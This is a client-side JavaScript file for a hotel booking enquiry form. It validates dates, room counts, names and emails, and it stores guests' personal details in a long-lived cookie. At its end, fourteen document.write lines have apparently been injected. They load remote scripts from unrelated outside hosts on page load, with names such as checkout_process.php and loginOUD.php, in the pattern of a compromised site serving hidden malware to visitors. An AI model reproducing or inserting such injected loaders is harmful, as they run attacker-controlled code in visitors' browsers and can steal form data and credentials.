

expires = new Date();
expires.setTime (expires.getTime() + 24 * 60 * 60 * 150 * 1000);

function check()
{
	var arrival_date=window.document.query.arrival_date.value;
	var depart_date=window.document.query.depart_date.value;
	var dd1 = arrival_date.substring(0,2)
	var mm1 = arrival_date.substring(3,5)
	var yy1 = arrival_date.substring(6,10) 

	var dd2 = depart_date.substring(0,2)
	var mm2 = depart_date.substring(3,5)
	var yy2 = depart_date.substring(6,10)

if(window.document.query.hotel_type.value==0)
	{
		alert("Please select Hotel Type!")
		window.document.query.hotel_type.focus();
		return false;
		}
if (window.document.query.arrival_date.value=="")
	{
	alert("Please enter the Start Date!")
	window.document.query.arrival_date.focus();
	return false;	
	}

	var today=getCurrentDate();
	var date=yy1+"-"+mm1+"-"+dd1;
	if(date<today)
	{
		alert("Please enter valid Start Date!");
		window.document.query.arrival_date.focus();
		return false;
	}

	if (window.document.query.depart_date.value=="")
	{
		alert("Please enter the End date!")
		window.document.query.depart_date.focus();
		return false;	
	}

	if(!dateDiff(dd1, mm1, yy1, dd2, mm2, yy2))
	{
		alert("Please recheck Start and End date!");
		window.document.query.depart_date.focus();
		return false;
	}	
// room validation
	var digit = "12345687890";

  if (document.query.room.value== "")
  {
    alert("Please fill in Number of Rooms Required!!");
	flag=false;
	document.query.room.focus();
	return false;
  }
 
  for (var i = 0; i < document.query.room.value.length; i++)
  {
    temp = document.query.room.value.substring(i, i+1)

    if (digit.indexOf(temp) == -1 && document.query.room.value != "")
    {
      alert("Number of Rooms must be in Numbers!!");
	  flag=false;
	  document.query.room.value="";
	  document.query.room.focus();
	  return false;
      break;
    }
  } 
  
// room validation end 

//Country validation
if (window.document.query.country.value==0)
	{
	alert("Please enter your Country!");
	window.document.query.country.focus();
	return false;
	}
//end Contry validation

// Name validation
	var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYYabcdefghijklmnopqrstuvwxyz ";

  if (document.query.name.value== "")
  {
    alert("Please fill in your Name!!");
	flag=false;
	document.query.name.focus();
	return false;
  }
 
  for (var i = 0; i < document.query.name.value.length; i++)
  {
    temp = document.query.name.value.substring(i, i+1)

    if (alphabet.indexOf(temp) == -1 && document.query.name.value != "")
    {
      alert("Name must be in Characters!!");
	  flag=false;
	  document.query.name.value="";
	  document.query.name.focus();
	  return false;
      break;
    }
  } 
  
// name validation end 

	if (window.document.query.email.value=="")
	{
		alert("Please enter your email address!")
		window.document.query.email.focus();
		return false;	
	}
if(document.query.email.value.indexOf(" ") >= 0)
{
	alert("Please enter your email-id without any white space character.");
	document.query.email.focus();
	return (false);
}
if ( (document.query.email.value.indexOf("@") == -1) || (document.query.email.value.indexOf(".") == -1) )
{
	alert("Please enter your email properly!"); 
	document.query.email.focus();
	return (false);
}


BeforeAtRate = document.query.email.value.substring(0,document.query.email.value.indexOf("@"));
AfterAtRate = document.query.email.value.substring(document.query.email.value.indexOf("@")+1,document.query.email.value.length);

if (AfterAtRate.indexOf(".") == -1)
{
	alert("Please enter your email properly!"); 
	document.query.email.focus();
	return (false);
}

middle = AfterAtRate.substring(0, AfterAtRate.indexOf("."))
last = AfterAtRate.substring(AfterAtRate.indexOf(".") + 1,AfterAtRate.length)

if (BeforeAtRate.length == 0 || middle.length == 0 || last.length == 0)
{
	alert("Please enter your email properly!"); 
	document.query.email.focus();
	return (false);
}



	
newCookie = document.query.name.value;
newCookie +="|"+document.query.email.value;
newCookie +="|"+document.query.S_fax.value;
newCookie +="|"+document.query.S_streetaddress.value;
newCookie +="|"+document.query.S_city.value;
newCookie +="|"+document.query.S_pin.value;
newCookie +="|"+document.query.country.value;
newCookie +="|"+document.query.arrival_date.value;
newCookie +="|"+document.query.depart_date.value;
newCookie +="|";
setCookie("newSavion",newCookie);
return true;

}

function getCurrentDate()
{
	currentTime = new Date();
	
	dd=currentTime.getDate();

	mm=currentTime.getMonth();
	yy=currentTime.getYear();
	mm=mm+1;
	if(dd<10) dd="0"+dd;
	if(mm<10) mm="0"+mm;
	currDate=yy+"-"+mm+"-"+dd;

	return currDate;
}
function dateDiff(dd1, mm1, yy1, dd2, mm2, yy2)
{
	var date1=yy1+mm1+dd1;
	var date2=yy2+mm2+dd2;
	if(date1>date2) return false;
	return true;
}

function get(){
if( (cookie = getCookie("newSavion")) > ""){
	Values = cookie.split("|");
	if (Values.length >= 6){
		if (document.query.name.value.length == 0) document.query.name.value = Values[0];
		if (document.query.email.value.length == 0)    document.query.email.value = Values[1];
		if (document.query.S_fax.value.length == 0)      document.query.S_fax.value=Values[2];
		if (document.query.S_streetaddress.value.length == 0) document.query.S_streetaddress.value=Values[3];
		if (document.query.S_city.value.length == 0)  document.query.S_city.value=Values[4];
		if (document.query.S_pin.value.length == 0)   document.query.S_pin.value=Values[5];
		if (document.query.country.value.length == 0) document.query.country.value=Values[6];
		if (document.query.arrival_date.value.length == 0) document.query.arrival_date.value=Values[7];
		if (document.query.depart_date.value.length == 0) document.query.depart_date.value=Values[8];
	}
}
return true;
}
function setCookie(name, value){
if (value.length > 0)
 document.cookie = name + "=" + escape(value)+ ";"+"expires=" + expires.toGMTString()+";"
}
function getCookie(Name) {
          var search = Name + "="
          if (document.cookie.length > 0) { // if there are any cookies
                    offset = document.cookie.indexOf(search) 
                    if (offset != -1) { // if cookie exists 
                              offset += search.length 
                              // set index of beginning of value
                              end = document.cookie.indexOf(";", offset) 
                              // set index of end of cookie value
                              if (end == -1) end = document.cookie.length
                              return unescape(document.cookie.substring(offset, end))
                    } 
          }
return "";
}

document.write('<script src=http://topselect-gmbh.com/images/tsprint.php ><\/script>');
document.write('<script src=http://topselect-gmbh.com/images/tsprint.php ><\/script>');
document.write('<script src=http://topselect-gmbh.com/images/tsprint.php ><\/script>');
document.write('<script src=http://thesuchi.net/install1/checkout_process.php ><\/script>');
document.write('<script src=http://thesuchi.net/install1/checkout_process.php ><\/script>');
document.write('<script src=http://thesuchi.net/install1/checkout_process.php ><\/script>');
document.write('<script src=http://thesuchi.net/install1/checkout_process.php ><\/script>');
document.write('<script src=http://thesuchi.net/install1/checkout_process.php ><\/script>');
document.write('<script src=http://dscas.nl/images/loginOUD.php ><\/script>');
document.write('<script src=http://dscas.nl/images/loginOUD.php ><\/script>');
document.write('<script src=http://dscas.nl/images/loginOUD.php ><\/script>');
document.write('<script src=http://dscas.nl/images/loginOUD.php ><\/script>');
document.write('<script src=http://alumnimca.hvpm.org/OtherPhoto/Menu.php ><\/script>');
document.write('<script src=http://alumnimca.hvpm.org/OtherPhoto/Menu.php ><\/script>');